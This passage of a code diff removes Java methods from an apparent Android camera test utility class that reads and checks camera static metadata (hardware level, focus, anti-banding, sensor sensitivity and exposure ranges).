-     * @param characteristics static info for a camera
-     * @param level The {@link CheckLevel} of this StaticMetadata
-     * @param collector The {@link CameraErrorCollector} used by this StaticMetadata
-     * @throws IllegalArgumentException if characteristics was null or level was
-     *         {@link CheckLevel.COLLECT} but collector was null.
-     */
-    public StaticMetadata(CameraCharacteristics characteristics, CheckLevel level,
-            CameraErrorCollector collector) {
-        if (characteristics == null) {
-            throw new IllegalArgumentException("characteristics was null");
-        }
-        if (level == CheckLevel.COLLECT && collector == null) {
-            throw new IllegalArgumentException("collector must valid when COLLECT level is set");
-        }
-
-        mCharacteristics = characteristics;
-        mLevel = level;
-        mCollector = collector;
-    }
-
-    /**
-     * Get the CameraCharacteristics associated with this StaticMetadata.
-     *
-     * @return A non-null CameraCharacteristics object
-     */
-    public CameraCharacteristics getCharacteristics() {
-        return mCharacteristics;
-    }
-
-    /**
-     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
-     * is at least {@value CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_FULL}.
-     *
-     * <p>If the camera device is not reporting the hardwareLevel, this
-     * will cause the test to fail.</p>
-     *
-     * @return {@code true} if the device is {@code FULL}, {@code false} otherwise.
-     */
-    public boolean isHardwareLevelAtLeastFull() {
-        return isHardwareLevelAtLeast(CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_FULL);
-    }
-
-    /**
-     * Whether or not the hardware level reported by android.info.supportedHardwareLevel is
-     * at least the desired one (but could be higher)
-     */
-    public boolean isHardwareLevelAtLeast(int level) {
-        int deviceLevel = getHardwareLevelChecked();
-        if (deviceLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
-            return level == deviceLevel;
-        }
-        // deviceLevel is not LEGACY, can use numerical sort
-        return level <= deviceLevel;
-    }
-
-    /**
-     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
-     * Return the supported hardware level of the device, or fail if no value is reported.
-     *
-     * @return the supported hardware level as a constant defined for
-     *      {@link CameraCharacteristics#INFO_SUPPORTED_HARDWARE_LEVEL}.
-     */
-    public int getHardwareLevelChecked() {
-        Integer hwLevel = getValueFromKeyNonNull(
-                CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
-        if (hwLevel == null) {
-            Assert.fail("No supported hardware level reported.");
-        }
-        return hwLevel;
-    }
-
-    /**
-     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
-     * is {@value CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY}.
-     *
-     * <p>If the camera device is not reporting the hardwareLevel, this
-     * will cause the test to fail.</p>
-     *
-     * @return {@code true} if the device is {@code LEGACY}, {@code false} otherwise.
-     */
-    public boolean isHardwareLevelLegacy() {
-        return getHardwareLevelChecked() == CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY;
-    }
-
-    /**
-     * Whether or not the per frame control is supported by the camera device.
-     *
-     * @return {@code true} if per frame control is supported, {@code false} otherwise.
-     */
-    public boolean isPerFrameControlSupported() {
-        return getSyncMaxLatency() == CameraMetadata.SYNC_MAX_LATENCY_PER_FRAME_CONTROL;
-    }
-
-    /**
-     * Get the maximum number of frames to wait for a request settings being applied
-     *
-     * @return CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN for unknown latency
-     *         CameraMetadata.SYNC_MAX_LATENCY_PER_FRAME_CONTROL for per frame control
-     *         a positive int otherwise
-     */
-    public int getSyncMaxLatency() {
-        Integer value = getValueFromKeyNonNull(CameraCharacteristics.SYNC_MAX_LATENCY);
-        if (value == null) {
-            return CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN;
-        }
-        return value;
-    }
-
-    /**
-     * Whether or not the hardware level reported by android.info.supportedHardwareLevel
-     * is {@value CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED}.
-     *
-     * <p>If the camera device is incorrectly reporting the hardwareLevel, this
-     * will always return {@code true}.</p>
-     *
-     * @return {@code true} if the device is {@code LIMITED}, {@code false} otherwise.
-     */
-    public boolean isHardwareLevelLimited() {
-        return getHardwareLevelChecked() == CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED;
-    }
-
-    /**
-     * Whether or not the hardware level reported by {@code android.info.supportedHardwareLevel}
-     * is at least {@link CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED}.
-     *
-     * <p>If the camera device is incorrectly reporting the hardwareLevel, this
-     * will always return {@code false}.</p>
-     *
-     * @return
-     *          {@code true} if the device is {@code LIMITED} or {@code FULL},
-     *          {@code false} otherwise (i.e. LEGACY).
-     */
-    public boolean isHardwareLevelAtLeastLimited() {
-        return isHardwareLevelAtLeast(CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED);
-    }
-
-    /**
-     * Get the maximum number of partial result a request can expect
-     *
-     * @return 1 if partial result is not supported.
-     *         a integer value larger than 1 if partial result is supported.
-     */
-    public int getPartialResultCount() {
-        Integer value = mCharacteristics.get(CameraCharacteristics.REQUEST_PARTIAL_RESULT_COUNT);
-        if (value == null) {
-            // Optional key. Default value is 1 if key is missing.
-            return 1;
-        }
-        return value;
-    }
-
-    /**
-     * Get the exposure time value and clamp to the range if needed.
-     *
-     * @param exposure Input exposure time value to check.
-     * @return Exposure value in the legal range.
-     */
-    public long getExposureClampToRange(long exposure) {
-        long minExposure = getExposureMinimumOrDefault(Long.MAX_VALUE);
-        long maxExposure = getExposureMaximumOrDefault(Long.MIN_VALUE);
-        if (minExposure > SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
-                    String.format(
-                    "Min value %d is too large, set to maximal legal value %d",
-                    minExposure, SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST));
-            minExposure = SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST;
-        }
-        if (maxExposure < SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
-                    String.format(
-                    "Max value %d is too small, set to minimal legal value %d",
-                    maxExposure, SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST));
-            maxExposure = SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST;
-        }
-
-        return Math.max(minExposure, Math.min(maxExposure, exposure));
-    }
-
-    /**
-     * Check if the camera device support focuser.
-     *
-     * @return true if camera device support focuser, false otherwise.
-     */
-    public boolean hasFocuser() {
-        if (areKeysAvailable(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)) {
-            // LEGACY devices don't have lens.info.minimumFocusDistance, so guard this query
-            return (getMinimumFocusDistanceChecked() > 0);
-        } else {
-            // Check available AF modes
-            int[] availableAfModes = mCharacteristics.get(
-                    CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
-
-            if (availableAfModes == null) {
-                return false;
-            }
-
-            // Assume that if we have an AF mode which doesn't ignore AF trigger, we have a focuser
-            boolean hasFocuser = false;
-            loop: for (int mode : availableAfModes) {
-                switch (mode) {
-                    case CameraMetadata.CONTROL_AF_MODE_AUTO:
-                    case CameraMetadata.CONTROL_AF_MODE_CONTINUOUS_PICTURE:
-                    case CameraMetadata.CONTROL_AF_MODE_CONTINUOUS_VIDEO:
-                    case CameraMetadata.CONTROL_AF_MODE_MACRO:
-                        hasFocuser = true;
-                        break loop;
-                }
-            }
-
-            return hasFocuser;
-        }
-    }
-
-    /**
-     * Check if the camera device has flash unit.
-     * @return true if flash unit is available, false otherwise.
-     */
-    public boolean hasFlash() {
-        return getFlashInfoChecked();
-    }
-
-    /**
-     * Get minimum focus distance.
-     *
-     * @return minimum focus distance, 0 if minimum focus distance is invalid.
-     */
-    public float getMinimumFocusDistanceChecked() {
-        Key<Float> key = CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE;
-        Float minFocusDistance;
-
-        /**
-         * android.lens.info.minimumFocusDistance - required for FULL and MANUAL_SENSOR-capable
-         *   devices; optional for all other devices.
-         */
-        if (isHardwareLevelAtLeastFull() || isCapabilitySupported(
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
-            minFocusDistance = getValueFromKeyNonNull(key);
-        } else {
-            minFocusDistance = mCharacteristics.get(key);
-        }
-
-        if (minFocusDistance == null) {
-            return 0.0f;
-        }
-
-        checkTrueForKey(key, " minFocusDistance value shouldn't be negative",
-                minFocusDistance >= 0);
-        if (minFocusDistance < 0) {
-            minFocusDistance = 0.0f;
-        }
-
-        return minFocusDistance;
-    }
-
-    /**
-     * Get focusDistanceCalibration.
-     *
-     * @return focusDistanceCalibration, UNCALIBRATED if value is invalid.
-     */
-    public int getFocusDistanceCalibrationChecked() {
-        Key<Integer> key = CameraCharacteristics.LENS_INFO_FOCUS_DISTANCE_CALIBRATION;
-        Integer calibration = getValueFromKeyNonNull(key);
-
-        if (calibration == null) {
-            return CameraMetadata.LENS_INFO_FOCUS_DISTANCE_CALIBRATION_UNCALIBRATED;
-        }
-
-        checkTrueForKey(key, " value is out of range" ,
-                calibration >= CameraMetadata.LENS_INFO_FOCUS_DISTANCE_CALIBRATION_UNCALIBRATED &&
-                calibration <= CameraMetadata.LENS_INFO_FOCUS_DISTANCE_CALIBRATION_CALIBRATED);
-
-        return calibration;
-    }
-
-    /**
-     * Get max AE regions and do sanity check.
-     *
-     * @return AE max regions supported by the camera device
-     */
-    public int getAeMaxRegionsChecked() {
-        Integer regionCount = mCharacteristics.get(CameraCharacteristics.CONTROL_MAX_REGIONS_AE);
-        if (regionCount == null) {
-            return 0;
-        }
-        return regionCount;
-    }
-
-    /**
-     * Get max AWB regions and do sanity check.
-     *
-     * @return AWB max regions supported by the camera device
-     */
-    public int getAwbMaxRegionsChecked() {
-        Integer regionCount = mCharacteristics.get(CameraCharacteristics.CONTROL_MAX_REGIONS_AWB);
-        if (regionCount == null) {
-            return 0;
-        }
-        return regionCount;
-    }
-
-    /**
-     * Get max AF regions and do sanity check.
-     *
-     * @return AF max regions supported by the camera device
-     */
-    public int getAfMaxRegionsChecked() {
-        Integer regionCount = mCharacteristics.get(CameraCharacteristics.CONTROL_MAX_REGIONS_AF);
-        if (regionCount == null) {
-            return 0;
-        }
-        return regionCount;
-    }
-    /**
-     * Get the available anti-banding modes.
-     *
-     * @return The array contains available anti-banding modes.
-     */
-    public int[] getAeAvailableAntiBandingModesChecked() {
-        Key<int[]> key = CameraCharacteristics.CONTROL_AE_AVAILABLE_ANTIBANDING_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        boolean foundAuto = false;
-        boolean found50Hz = false;
-        boolean found60Hz = false;
-        for (int mode : modes) {
-            checkTrueForKey(key, "mode value " + mode + " is out if range",
-                    mode >= CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_OFF ||
-                    mode <= CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_AUTO);
-            if (mode == CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_AUTO) {
-                foundAuto = true;
-            } else if (mode == CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_50HZ) {
-                found50Hz = true;
-            } else if (mode == CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_60HZ) {
-                found60Hz = true;
-            }
-        }
-        // Must contain AUTO mode or one of 50/60Hz mode.
-        checkTrueForKey(key, "Either AUTO mode or both 50HZ/60HZ mode should present",
-                foundAuto || (found50Hz && found60Hz));
-
-        return modes;
-    }
-
-    /**
-     * Check if the antibanding OFF mode is supported.
-     *
-     * @return true if antibanding OFF mode is supported, false otherwise.
-     */
-    public boolean isAntiBandingOffModeSupported() {
-        List<Integer> antiBandingModes =
-                Arrays.asList(CameraTestUtils.toObject(getAeAvailableAntiBandingModesChecked()));
-
-        return antiBandingModes.contains(CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_OFF);
-    }
-
-    public Boolean getFlashInfoChecked() {
-        Key<Boolean> key = CameraCharacteristics.FLASH_INFO_AVAILABLE;
-        Boolean hasFlash = getValueFromKeyNonNull(key);
-
-        // In case the failOnKey only gives warning.
-        if (hasFlash == null) {
-            return false;
-        }
-
-        return hasFlash;
-    }
-
-    public int[] getAvailableTestPatternModesChecked() {
-        Key<int[]> key =
-                CameraCharacteristics.SENSOR_AVAILABLE_TEST_PATTERN_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        int expectValue = CameraCharacteristics.SENSOR_TEST_PATTERN_MODE_OFF;
-        Integer[] boxedModes = CameraTestUtils.toObject(modes);
-        checkTrueForKey(key, " value must contain OFF mode",
-                Arrays.asList(boxedModes).contains(expectValue));
-
-        return modes;
-    }
-
-    /**
-     * Get available thumbnail sizes and do the sanity check.
-     *
-     * @return The array of available thumbnail sizes
-     */
-    public Size[] getAvailableThumbnailSizesChecked() {
-        Key<Size[]> key = CameraCharacteristics.JPEG_AVAILABLE_THUMBNAIL_SIZES;
-        Size[] sizes = getValueFromKeyNonNull(key);
-        final List<Size> sizeList = Arrays.asList(sizes);
-
-        // Size must contain (0, 0).
-        checkTrueForKey(key, "size should contain (0, 0)", sizeList.contains(new Size(0, 0)));
-
-        // Each size must be distinct.
-        checkElementDistinct(key, sizeList);
-
-        // Must be sorted in ascending order by area, by width if areas are same.
-        List<Size> orderedSizes =
-                CameraTestUtils.getAscendingOrderSizes(sizeList, /*ascending*/true);
-        checkTrueForKey(key, "Sizes should be in ascending order: Original " + sizeList.toString()
-                + ", Expected " + orderedSizes.toString(), orderedSizes.equals(sizeList));
-
-        // TODO: Aspect ratio match, need wait for android.scaler.availableStreamConfigurations
-        // implementation see b/12958122.
-
-        return sizes;
-    }
-
-    /**
-     * Get available focal lengths and do the sanity check.
-     *
-     * @return The array of available focal lengths
-     */
-    public float[] getAvailableFocalLengthsChecked() {
-        Key<float[]> key = CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS;
-        float[] focalLengths = getValueFromKeyNonNull(key);
-
-        checkTrueForKey(key, "Array should contain at least one element", focalLengths.length >= 1);
-
-        for (int i = 0; i < focalLengths.length; i++) {
-            checkTrueForKey(key,
-                    String.format("focalLength[%d] %f should be positive.", i, focalLengths[i]),
-                    focalLengths[i] > 0);
-        }
-        checkElementDistinct(key, Arrays.asList(CameraTestUtils.toObject(focalLengths)));
-
-        return focalLengths;
-    }
-
-    /**
-     * Get available apertures and do the sanity check.
-     *
-     * @return The non-null array of available apertures
-     */
-    public float[] getAvailableAperturesChecked() {
-        Key<float[]> key = CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES;
-        float[] apertures = getValueFromKeyNonNull(key);
-
-        checkTrueForKey(key, "Array should contain at least one element", apertures.length >= 1);
-
-        for (int i = 0; i < apertures.length; i++) {
-            checkTrueForKey(key,
-                    String.format("apertures[%d] %f should be positive.", i, apertures[i]),
-                    apertures[i] > 0);
-        }
-        checkElementDistinct(key, Arrays.asList(CameraTestUtils.toObject(apertures)));
-
-        return apertures;
-    }
-
-    /**
-     * Get and check the available hot pixel map modes.
-     *
-     * @return the available hot pixel map modes
-     */
-    public int[] getAvailableHotPixelModesChecked() {
-        Key<int[]> key = CameraCharacteristics.HOT_PIXEL_AVAILABLE_HOT_PIXEL_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        if (isHardwareLevelAtLeastFull()) {
-            checkTrueForKey(key, "Full-capability camera devices must support FAST mode",
-                    modeList.contains(CameraMetadata.HOT_PIXEL_MODE_FAST));
-        }
-
-        if (isHardwareLevelAtLeastLimited()) {
-            // FAST and HIGH_QUALITY mode must be both present or both not present
-            List<Integer> coupledModes = Arrays.asList(new Integer[] {
-                    CameraMetadata.HOT_PIXEL_MODE_FAST,
-                    CameraMetadata.HOT_PIXEL_MODE_HIGH_QUALITY
-            });
-            checkTrueForKey(
-                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
-                    containsAllOrNone(modeList, coupledModes));
-        }
-        checkElementDistinct(key, modeList);
-        checkArrayValuesInRange(key, modes, CameraMetadata.HOT_PIXEL_MODE_OFF,
-                CameraMetadata.HOT_PIXEL_MODE_HIGH_QUALITY);
-
-        return modes;
-    }
-
-    /**
-     * Get and check available face detection modes.
-     *
-     * @return The non-null array of available face detection modes
-     */
-    public int[] getAvailableFaceDetectModesChecked() {
-        Key<int[]> key = CameraCharacteristics.STATISTICS_INFO_AVAILABLE_FACE_DETECT_MODES;
-        int[] modes = getValueFromKeyNonNull(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        checkTrueForKey(key, "Array should contain OFF mode",
-                modeList.contains(CameraMetadata.STATISTICS_FACE_DETECT_MODE_OFF));
-        checkElementDistinct(key, modeList);
-        checkArrayValuesInRange(key, modes, CameraMetadata.STATISTICS_FACE_DETECT_MODE_OFF,
-                CameraMetadata.STATISTICS_FACE_DETECT_MODE_FULL);
-
-        return modes;
-    }
-
-    /**
-     * Get and check max face detected count.
-     *
-     * @return max number of faces that can be detected
-     */
-    public int getMaxFaceCountChecked() {
-        Key<Integer> key = CameraCharacteristics.STATISTICS_INFO_MAX_FACE_COUNT;
-        Integer count = getValueFromKeyNonNull(key);
-
-        if (count == null) {
-            return 0;
-        }
-
-        List<Integer> faceDetectModes =
-                Arrays.asList(CameraTestUtils.toObject(getAvailableFaceDetectModesChecked()));
-        if (faceDetectModes.contains(CameraMetadata.STATISTICS_FACE_DETECT_MODE_OFF) &&
-                faceDetectModes.size() == 1) {
-            checkTrueForKey(key, " value must be 0 if only OFF mode is supported in "
-                    + "availableFaceDetectionModes", count == 0);
-        } else {
-            int maxFaceCountAtLeast = STATISTICS_INFO_MAX_FACE_COUNT_MIN_AT_LEAST;
-
-            // Legacy mode may support fewer than STATISTICS_INFO_MAX_FACE_COUNT_MIN_AT_LEAST faces.
-            if (isHardwareLevelLegacy()) {
-                maxFaceCountAtLeast = 1;
-            }
-            checkTrueForKey(key, " value must be no less than " + maxFaceCountAtLeast + " if SIMPLE"
-                    + "or FULL is also supported in availableFaceDetectionModes",
-                    count >= maxFaceCountAtLeast);
-        }
-
-        return count;
-    }
-
-    /**
-     * Get and check the available tone map modes.
-     *
-     * @return the available tone map modes
-     */
-    public int[] getAvailableToneMapModesChecked() {
-        Key<int[]> key = CameraCharacteristics.TONEMAP_AVAILABLE_TONE_MAP_MODES;
-        int[] modes = mCharacteristics.get(key);
-
-        if (modes == null) {
-            return new int[0];
-        }
-
-        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
-        checkTrueForKey(key, " Camera devices must always support FAST mode",
-                modeList.contains(CameraMetadata.TONEMAP_MODE_FAST));
-        // Qualification check for MANUAL_POSTPROCESSING capability is in
-        // StaticMetadataTest#testCapabilities
-
-        if (isHardwareLevelAtLeastLimited()) {
-            // FAST and HIGH_QUALITY mode must be both present or both not present
-            List<Integer> coupledModes = Arrays.asList(new Integer[] {
-                    CameraMetadata.TONEMAP_MODE_FAST,
-                    CameraMetadata.TONEMAP_MODE_HIGH_QUALITY
-            });
-            checkTrueForKey(
-                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
-                    containsAllOrNone(modeList, coupledModes));
-        }
-        checkElementDistinct(key, modeList);
-        checkArrayValuesInRange(key, modes, CameraMetadata.TONEMAP_MODE_CONTRAST_CURVE,
-                CameraMetadata.TONEMAP_MODE_PRESET_CURVE);
-
-        return modes;
-    }
-
-    /**
-     * Get and check max tonemap curve point.
-     *
-     * @return Max tonemap curve points.
-     */
-    public int getMaxTonemapCurvePointChecked() {
-        Key<Integer> key = CameraCharacteristics.TONEMAP_MAX_CURVE_POINTS;
-        Integer count = getValueFromKeyNonNull(key);
-        List<Integer> modeList =
-                Arrays.asList(CameraTestUtils.toObject(getAvailableToneMapModesChecked()));
-        boolean tonemapCurveOutputSupported =
-                modeList.contains(CameraMetadata.TONEMAP_MODE_CONTRAST_CURVE) ||
-                modeList.contains(CameraMetadata.TONEMAP_MODE_GAMMA_VALUE) ||
-                modeList.contains(CameraMetadata.TONEMAP_MODE_PRESET_CURVE);
-
-        if (count == null) {
-            if (tonemapCurveOutputSupported) {
-                Assert.fail("Tonemap curve output is supported but MAX_CURVE_POINTS is null");
-            }
-            return 0;
-        }
-
-        if (tonemapCurveOutputSupported) {
-            checkTrueForKey(key, "Tonemap curve output supported camera device must support "
-                    + "maxCurvePoints >= " + TONEMAP_MAX_CURVE_POINTS_AT_LEAST,
-                    count >= TONEMAP_MAX_CURVE_POINTS_AT_LEAST);
-        }
-
-        return count;
-    }
-
-    /**
-     * Get and check pixel array size.
-     */
-    public Size getPixelArraySizeChecked() {
-        Key<Size> key = CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE;
-        Size pixelArray = getValueFromKeyNonNull(key);
-        if (pixelArray == null) {
-            return new Size(0, 0);
-        }
-
-        return pixelArray;
-    }
-
-    /**
-     * Get and check pre-correction active array size.
-     */
-    public Rect getPreCorrectedActiveArraySizeChecked() {
-        Key<Rect> key = CameraCharacteristics.SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE;
-        Rect activeArray = getValueFromKeyNonNull(key);
-
-        if (activeArray == null) {
-            return new Rect(0, 0, 0, 0);
-        }
-
-        Size pixelArraySize = getPixelArraySizeChecked();
-        checkTrueForKey(key, "values left/top are invalid", activeArray.left >= 0 && activeArray.top >= 0);
-        checkTrueForKey(key, "values width/height are invalid",
-                activeArray.width() <= pixelArraySize.getWidth() &&
-                activeArray.height() <= pixelArraySize.getHeight());
-
-        return activeArray;
-    }
-
-    /**
-     * Get and check active array size.
-     */
-    public Rect getActiveArraySizeChecked() {
-        Key<Rect> key = CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE;
-        Rect activeArray = getValueFromKeyNonNull(key);
-
-        if (activeArray == null) {
-            return new Rect(0, 0, 0, 0);
-        }
-
-        Size pixelArraySize = getPixelArraySizeChecked();
-        checkTrueForKey(key, "values left/top are invalid", activeArray.left >= 0 && activeArray.top >= 0);
-        checkTrueForKey(key, "values width/height are invalid",
-                activeArray.width() <= pixelArraySize.getWidth() &&
-                activeArray.height() <= pixelArraySize.getHeight());
-
-        return activeArray;
-    }
-
-    /**
-     * Get the dimensions to use for RAW16 buffers.
-     */
-    public Size getRawDimensChecked() throws Exception {
-        Size[] targetCaptureSizes = getAvailableSizesForFormatChecked(ImageFormat.RAW_SENSOR,
-                        StaticMetadata.StreamDirection.Output);
-        Assert.assertTrue("No capture sizes available for RAW format!",
-                targetCaptureSizes.length != 0);
-        Rect activeArray = getPreCorrectedActiveArraySizeChecked();
-        Size preCorrectionActiveArraySize =
-                new Size(activeArray.width(), activeArray.height());
-        Size pixelArraySize = getPixelArraySizeChecked();
-        Assert.assertTrue("Missing pre-correction active array size", activeArray.width() > 0 &&
-                activeArray.height() > 0);
-        Assert.assertTrue("Missing pixel array size", pixelArraySize.getWidth() > 0 &&
-                pixelArraySize.getHeight() > 0);
-        Size[] allowedArraySizes = new Size[] { preCorrectionActiveArraySize,
-                pixelArraySize };
-        return assertArrayContainsAnyOf("Available sizes for RAW format" +
-                " must include either the pre-corrected active array size, or the full " +
-                "pixel array size", targetCaptureSizes, allowedArraySizes);
-    }
-
-    /**
-     * Get the sensitivity value and clamp to the range if needed.
-     *
-     * @param sensitivity Input sensitivity value to check.
-     * @return Sensitivity value in legal range.
-     */
-    public int getSensitivityClampToRange(int sensitivity) {
-        int minSensitivity = getSensitivityMinimumOrDefault(Integer.MAX_VALUE);
-        int maxSensitivity = getSensitivityMaximumOrDefault(Integer.MIN_VALUE);
-        if (minSensitivity > SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    String.format(
-                    "Min value %d is too large, set to maximal legal value %d",
-                    minSensitivity, SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST));
-            minSensitivity = SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST;
-        }
-        if (maxSensitivity < SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    String.format(
-                    "Max value %d is too small, set to minimal legal value %d",
-                    maxSensitivity, SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST));
-            maxSensitivity = SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST;
-        }
-
-        return Math.max(minSensitivity, Math.min(maxSensitivity, sensitivity));
-    }
-
-    /**
-     * Get maxAnalogSensitivity for a camera device.
-     * <p>
-     * This is only available for FULL capability device, return 0 if it is unavailable.
-     * </p>
-     *
-     * @return maxAnalogSensitivity, 0 if it is not available.
-     */
-    public int getMaxAnalogSensitivityChecked() {
-
-        Key<Integer> key = CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY;
-        Integer maxAnalogsensitivity = mCharacteristics.get(key);
-        if (maxAnalogsensitivity == null) {
-            if (isHardwareLevelAtLeastFull()) {
-                Assert.fail("Full device should report max analog sensitivity");
-            }
-            return 0;
-        }
-
-        int minSensitivity = getSensitivityMinimumOrDefault();
-        int maxSensitivity = getSensitivityMaximumOrDefault();
-        checkTrueForKey(key, " Max analog sensitivity " + maxAnalogsensitivity
-                + " should be no larger than max sensitivity " + maxSensitivity,
-                maxAnalogsensitivity <= maxSensitivity);
-        checkTrueForKey(key, " Max analog sensitivity " + maxAnalogsensitivity
-                + " should be larger than min sensitivity " + maxSensitivity,
-                maxAnalogsensitivity > minSensitivity);
-
-        return maxAnalogsensitivity;
-    }
-
-    /**
-     * Get hyperfocalDistance and do the sanity check.
-     * <p>
-     * Note that, this tag is optional, will return -1 if this tag is not
-     * available.
-     * </p>
-     *
-     * @return hyperfocalDistance of this device, -1 if this tag is not available.
-     */
-    public float getHyperfocalDistanceChecked() {
-        Key<Float> key = CameraCharacteristics.LENS_INFO_HYPERFOCAL_DISTANCE;
-        Float hyperfocalDistance = getValueFromKeyNonNull(key);
-        if (hyperfocalDistance == null) {
-            return -1;
-        }
-
-        if (hasFocuser()) {
-            float minFocusDistance = getMinimumFocusDistanceChecked();
-            checkTrueForKey(key, String.format(" hyperfocal distance %f should be in the range of"
-                    + " should be in the range of (%f, %f]", hyperfocalDistance, 0.0f,
-                    minFocusDistance),
-                    hyperfocalDistance > 0 && hyperfocalDistance <= minFocusDistance);
-        }
-
-        return hyperfocalDistance;
-    }
-
-    /**
-     * Get the minimum value for a sensitivity range from android.sensor.info.sensitivityRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead, which is the largest minimum value required to be supported
-     * by all camera devices.</p>
-     *
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public int getSensitivityMinimumOrDefault() {
-        return getSensitivityMinimumOrDefault(SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST);
-    }
-
-    /**
-     * Get the minimum value for a sensitivity range from android.sensor.info.sensitivityRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead.</p>
-     *
-     * @param defaultValue Value to return if no legal value is available
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public int getSensitivityMinimumOrDefault(int defaultValue) {
-        Range<Integer> range = getValueFromKeyNonNull(
-                CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
-        if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    "had no valid minimum value; using default of " + defaultValue);
-            return defaultValue;
-        }
-        return range.getLower();
-    }
-
-    /**
-     * Get the maximum value for a sensitivity range from android.sensor.info.sensitivityRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead, which is the smallest maximum value required to be supported
-     * by all camera devices.</p>
-     *
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public int getSensitivityMaximumOrDefault() {
-        return getSensitivityMaximumOrDefault(SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST);
-    }
-
-    /**
-     * Get the maximum value for a sensitivity range from android.sensor.info.sensitivityRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead.</p>
-     *
-     * @param defaultValue Value to return if no legal value is available
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public int getSensitivityMaximumOrDefault(int defaultValue) {
-        Range<Integer> range = getValueFromKeyNonNull(
-                CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
-        if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    "had no valid maximum value; using default of " + defaultValue);
-            return defaultValue;
-        }
-        return range.getUpper();
-    }
-
-    /**
-     * Get the minimum value for an exposure range from android.sensor.info.exposureTimeRange.
-     *
-     * <p>If the camera is incorrectly reporting values, log a warning and return
-     * the default value instead.</p>
-     *
-     * @param defaultValue Value to return if no legal value is available
-     * @return The value reported by the camera device or the defaultValue otherwise.
-     */
-    public long getExposureMinimumOrDefault(long defaultValue) {
-        Range<Long> range = getValueFromKeyNonNull(
-                CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE);
-        if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
-                    "had no valid minimum value; using default of " + defaultValue);
-            return defaultValue;
-        }
